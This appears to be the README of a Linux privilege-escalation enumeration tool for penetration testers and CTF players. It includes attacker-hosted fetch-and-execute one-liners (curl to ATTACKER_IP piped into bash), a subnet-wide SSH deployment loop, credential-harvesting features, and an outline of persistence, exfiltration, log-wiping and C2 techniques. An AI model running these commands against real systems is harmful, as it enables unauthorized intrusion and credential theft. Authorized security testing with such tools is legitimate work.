sentinelsec-org/nexpeas
GitHub: sentinelsec-org/nexpeas
NEXPEAS 是一款 Linux 权限提升评估工具,通过智能化的全面枚举帮助渗透测试人员快速发现系统内的提权漏洞和敏感信息。
Stars: 1 | Forks: 0
# 🔓 NEXPEAS - 权限提升评估工具




**一款专为 Linux 系统设计的全面、智能且美观的权限提升评估工具包**
[功能](#-features) • [安装说明](#-installation) • [用法](#-usage) • [后渗透](#-post-exploitation) • [贡献](#-contributing)
## 🎯 概述
**NEXPEAS** 是 linpeas 等传统权限提升枚举工具的现代替代品。它提供:
- 🚀 **快速高效** - 没有多余的噪音,只有相关的发现
- 🎨 **精美输出** - 专业的配色方案和表情符号
- 🔍 **智能检测** - 通过 GTFOBins 识别 CRITICAL 级别的 SUID 二进制文件
- 📍 **Flag 搜索** - 自动搜索 user.txt, root.txt
- 🛠️ **远程部署** - 内置带有自动检测功能的 HTTP 服务器
- 📚 **教育性** - 包含全面的后渗透指南
## ✨ 功能
### 核心能力
#### 🚩 Flag 检测
- 搜索 `user.txt`, `root.txt`, `flag.txt`, `proof.txt`
- 自动显示 flag 内容
- 发出关键警报以便立即识别
#### 💀 SUID 二进制文件分析
- **CRITICAL 级别检测**:通过 GTFOBins 识别可被利用的二进制文件
- `/usr/bin/find` - 以所有者身份执行命令
- `/usr/bin/env` - 绕过限制
- `/usr/bin/sudo`, `/usr/bin/su` - 直接获取 shell 访问权限
- `/bin/bash`, `/bin/sh` - 交互式 shell
- `/usr/bin/perl`, `/usr/bin/python` - 脚本执行
- **HIGH 风险检测**:潜在危险的二进制文件
- 密码修改工具,用户修改工具,权限提升工具
#### 🔐 全面枚举
- **系统信息**:Kernel,OS,架构
- **用户与组**:所有用户,权限级别,SSH 密钥
- **网络分析**:开放端口,服务,连接
- **Capabilities 与权限**:特殊权限搜寻
- **进程**:Root 进程,可疑活动
- **Cron Jobs**:计划任务分析
- **文件系统**:敏感文件,权限问题
#### 🗂️ 敏感数据发现
- 配置文件 (`.env`, `config.php`, `wp-config.php`)
- 数据库文件 (`.sqlite`, `.db`, `.sql`)
- SSH 密钥与凭证
- 包含机密信息的 Git 仓库
- 备份文件 (`.bak`, `.backup`, `.zip`)
- 源代码中的硬编码密码
- 应用程序配置
#### 📊 智能报告
- 颜色编码的严重性级别 (CRITICAL/HIGH/MEDIUM)
- 自动统计与摘要
- 可操作的建议
- 无误报
## 🎨 视觉特性
```
╔════════════════════════════════════════════════╗
║ 🔓 N E X P E A S 🔓 ║
║ Privilege Escalation Assessment Tool ║
║ ~ Detección de Vectores de Escalada ~ ║
╚════════════════════════════════════════════════╝
✨ Vibrant colors (red, orange, lime green)
✨ Professional headers with emojis
✨ Unicode box drawing (╔ ║ ╚)
✨ Beautiful progress indicators
✨ Severity classification
```
## 🚀 安装说明
### 前置条件
- Bash 5.0+
- Linux 系统 (Ubuntu, Debian, CentOS, Kali 等)
- 标准工具:`find`, `grep`, `awk`, `sed`
### 快速安装
**选项 1:直接下载**
```
wget https://raw.githubusercontent.com/yourusername/nexpeas/main/nexpeas.sh
chmod +x nexpeas.sh
./nexpeas.sh
```
**选项 2:克隆仓库**
```
git clone https://github.com/yourusername/nexpeas.git
cd nexpeas
chmod +x nexpeas.sh
./nexpeas.sh
```
**选项 3:一键执行**
```
bash <(curl -s https://raw.githubusercontent.com/yourusername/nexpeas/main/nexpeas.sh)
```
## 📖 用法
### 本地执行
```
./nexpeas.sh
```
在本地系统上运行完整枚举并显示精美的报告。
### 深度扫描模式
```
./nexpeas.sh --deep
```
启用高级侦察功能:
- **UDP 端口分析**:监听 UDP 服务
- **进程关联**:映射 端口 → PID → 命令
- **点文件分析**:搜索 shell 配置 (~/.bashrc, ~/.profile, ~/.ssh/config)
- **命令历史**:从 ~/.bash_history 中提取潜在的凭证
- **增强枚举**:/proc/self 分析与 /etc/hosts 映射
适用于:
- 高级权限提升评估
- 后渗透侦察
- 敏感配置发现
- 用于凭证的 shell 历史记录分析
### 使用 HTTP 服务器进行远程部署
**在攻击者机器上启动服务器:**
```
cd nexpeas
python3 server.py
```
**输出:**
```
╔════════════════════════════════════════════════╗
║ 🔓 N E X P E A S 🔓 ║
║ Privilege Escalation Assessment Tool ║
╚════════════════════════════════════════════════╝
🚀 NEXPEAS HTTP Server
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
✅ Interface: eth0
✅ IP: 192.168.1.100
✅ Port: 8000
✅ Directory: /nexpeas
🎯 URL: http://192.168.1.100:8000/nexpeas.sh
╭─ WGET ────────────────────────────────────────╮
│ wget http://192.168.1.100:8000/nexpeas.sh -O nexpeas.sh && chmod +x nexpeas.sh && ./nexpeas.sh
╰────────────────────────────────────────────────╯
╭─ CURL ────────────────────────────────────────╮
│ curl http://192.168.1.100:8000/nexpeas.sh -o nexpeas.sh && chmod +x nexpeas.sh && ./nexpeas.sh
╰────────────────────────────────────────────────╯
💡 Copy and paste on target:
bash -c 'curl http://192.168.1.100:8000/nexpeas.sh | bash'
```
**在目标机器上:**
```
# 单行执行(不写入磁盘)
bash -c 'curl http://ATTACKER_IP:8000/nexpeas.sh | bash'
# 或者下载并执行
wget http://ATTACKER_IP:8000/nexpeas.sh && bash nexpeas.sh
```
### 输出示例
**Flag 检测:**
```
╔═══════════════════════════════════════════════════╗
║ 🚩 FLAGS & ARCHIVOS SENSIBLES ║
╚═══════════════════════════════════════════════════╝
⛔ [CRITICAL] 🚩 FLAG ENCONTRADA: /root/root.txt
Contenido:
THM{r00t_fl4g_you_are_awesome}
⛔ [CRITICAL] 🚩 FLAG ENCONTRADA: /home/hudson/user.txt
Contenido:
THM{user_flag_nice_work}
```
**SUID 二进制文件:**
```
╔═══════════════════════════════════════════════════╗
║ 💀 SUID BINARIES - POTENCIALES VECTORES ║
╚═══════════════════════════════════════════════════╝
⛔ [CRITICAL] 🚨 CRITICAL SUID (GTFOBins): /usr/bin/find
⛔ [CRITICAL] 🚨 CRITICAL SUID (GTFOBins): /usr/bin/env
🔥 [HIGH] SUID: /usr/bin/passwd
🔥 [HIGH] SUID: /usr/bin/chfn
```
## 📡 后渗透指南
NEXPEAS 包含一份全面的 **post_exploit.md**,涵盖:
### 🔍 入侵后枚举
- 系统信息收集
- 用户和组分析
- 权限提升向量
- 网络侦察
- 敏感进程识别
### 🚀 高级权限提升
- SUID/SGID 利用技术
- Sudo 滥用和 LD_PRELOAD 注入
- Cron Jobs 中的通配符注入
- 库劫持
- 内核漏洞利用 (Dirty COW, eBPF)
- Capabilities 滥用
### 🔐 持久化技术
- SSH 密钥后门
- Cron 后门
- Systemd 服务
- 受监控的反向 shell
- Rootkit 安装
### 🕵️ 横向移动
- 网络枚举
- SSH 隧道
- NFS 利用
- 信任关系滥用
- Kerberos 攻击
### 💾 数据外发
- 敏感文件定位
- 外发技术 (DNS, HTTP)
- 内存转储
- 凭证提取
### 🧹 反取证
- 日志清理
- 时间戳篡改
- 安全的文件销毁
- 痕迹掩盖
### 📡 命令与控制 (C2)
- 反向 shell (Bash, Python, Perl)
- 正向 shell
- Web shell
- DNS C2 通道
- 混淆技术
### 🎯 高级技术
- Docker 容器逃逸
- 虚拟机逃逸
- 无文件恶意软件
- 供应链攻击
- 检测与防御措施
## 🎯 用例
### ✅ 授权安全测试
- 渗透测试项目
- 红蓝对抗演练
- 安全评估
- 漏洞研究
### ✅ 教育目的
- 网络安全培训
- CTF 竞赛
- 安全课程
- 实验室环境
### ✅ 系统强化
- 识别错误配置
- 寻找权限提升路径
- 审计文件权限
- 验证安全策略
## 📊 是什么让 NEXPEAS 与众不同?
| 特性 | NEXPEAS | Linpeas | Linenum |
|---------|---------|---------|---------|
| **Flag 搜索** | ✅ 是 | ❌ 否 | ❌ 否 |
| **美观的 UI** | ✅ 是 (生动) | ❌ 基础 | ❌ 基础 |
| **GTFOBins 集成** | ✅ 是 | ❌ 否 | ❌ 否 |
| **HTTP 服务器** | ✅ 内置 | ❌ 否 | ❌ 否 |
| **速度** | ⚡ 快 (2分钟) | 🐌 慢 (5+ 分钟) | 🐌 慢 (5+ 分钟) |
| **噪音水平** | 🔇 低 | 🔊 高 | 🔊 高 |
| **后渗透指南** | ✅ 包含 | ❌ 否 | ❌ 否 |
| **现代代码** | ✅ 是 | ❌ 陈旧 | ❌ 陈旧 |
## 🔧 高级选项
### 自定义超时
编辑脚本以调整搜索超时:
```
# 默认:每次搜索 3-10 秒
# 在 nexpeas.sh 中修改此项:
FOUND=$(timeout 3 find /home ...)
```
### 关注特定区域
```
# 编辑 print_header 调用以跳过部分
# 注释掉不需要的部分
```
### 与其他工具集成
```
# 输出到文件
./nexpeas.sh > report.txt
# 通过管道传递给其他工具
./nexpeas.sh | grep CRITICAL
# 合并结果
./nexpeas.sh > scan_$(date +%s).txt
```
## 📋 项目结构
```
nexpeas/
├── nexpeas.sh # Main enumeration script (959 lines)
├── server.py # HTTP server for remote deployment
├── post_exploit.md # Comprehensive post-exploitation guide
├── README.md # This file
├── LICENSE # MIT License
├── CHANGELOG.md # Version history
└── CONTRIBUTING.md # Contribution guidelines
```
## 🐛 故障排除
### 脚本无法执行
```
chmod +x nexpeas.sh
```
### 服务器无法启动
```
# 检查端口 8000 是否被占用
lsof -i :8000
# 终止现有进程
kill -9 $(lsof -t -i :8000)
```
### 未找到结果
```
# 检查权限
id
# 使用 sudo 运行(不推荐)
sudo ./nexpeas.sh
```
### 执行缓慢
```
# 在大型系统上某些搜索可能需要一些时间
# 按 Ctrl+C 取消并查看部分结果
```
## 📝 示例
### 示例 1:CTF 挑战赛
```
./nexpeas.sh | grep -E "FLAG|CRITICAL|root"
```
### 示例 2:渗透测试
```
# 在攻击者机器上
python3 server.py
# 在目标机器上
bash -c 'curl http://attacker:8000/nexpeas.sh | bash' > nexpeas_report.txt
```
### 示例 3:自动化扫描
```
#!/bin/bash
for target in 192.168.1.{1..254}; do
ssh user@$target "bash -c 'curl http://attacker:8000/nexpeas.sh | bash'" > reports/$target.txt &
done
```
## 📚 资源
- **GTFOBins**:https://gtfobins.github.io/
- **HackTricks**:https://book.hacktricks.xyz/
- **Exploit-DB**:https://www.exploit-db.com/
- **OWASP**:https://owasp.org/
## 🤝 贡献
欢迎贡献!请:
1. Fork 该仓库
2. 创建一个功能分支 (`git checkout -b feature/AmazingFeature`)
3. 提交更改 (`git commit -m 'Add AmazingFeature'`)
4. 推送到分支 (`git push origin feature/AmazingFeature`)
5. 发起 Pull Request
详情请参阅 [CONTRIBUTING.md](CONTRIBUTING.md)。
## 📜 许可证
该项目基于 MIT 许可证授权 - 详情请参阅 [LICENSE](LICENSE) 文件。
```
MIT License
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software...
```
## ⚠️ 免责声明
**重要提示**:此工具专为**授权的安全测试**而设计。
- ✅ 在授权的渗透测试中使用
- ✅ 在教育环境中使用
- ✅ 在实验室/练习环境中使用
- ❌ 未经明确的书面许可,请勿使用
- ❌ 未经授权访问计算机系统是非法的
在进行安全评估之前,请务必获得适当的授权。
## 👨💻 作者
由安全研究人员为网络安全社区创建
- **GitHub**:[yourusername/nexpeas](https://github.com/yourusername/nexpeas)
- **邮箱**:security@example.com
- **网站**:https://example.com
## 🌟 展示您的支持
如果 NEXPEAS 对您有帮助,请:
- ⭐ 为该仓库点 Star
- 🐛 通过 Issues 报告 Bug
- 💡 提议新功能
- 🔄 与他人分享
- 📝 撰写评论
## 📞 支持与联系
- **问题**:[GitHub Issues](https://github.com/yourusername/nexpeas/issues)
- **讨论**:[GitHub Discussions](https://github.com/yourusername/nexpeas/discussions)
- **邮箱**:support@example.com
**用 ❤️ 为网络安全社区打造**
*最后更新:2026年7月18日*
标签:Bash, Web报告查看器, 协议分析, 应用安全, 无线安全, 权限提升, 逆向工具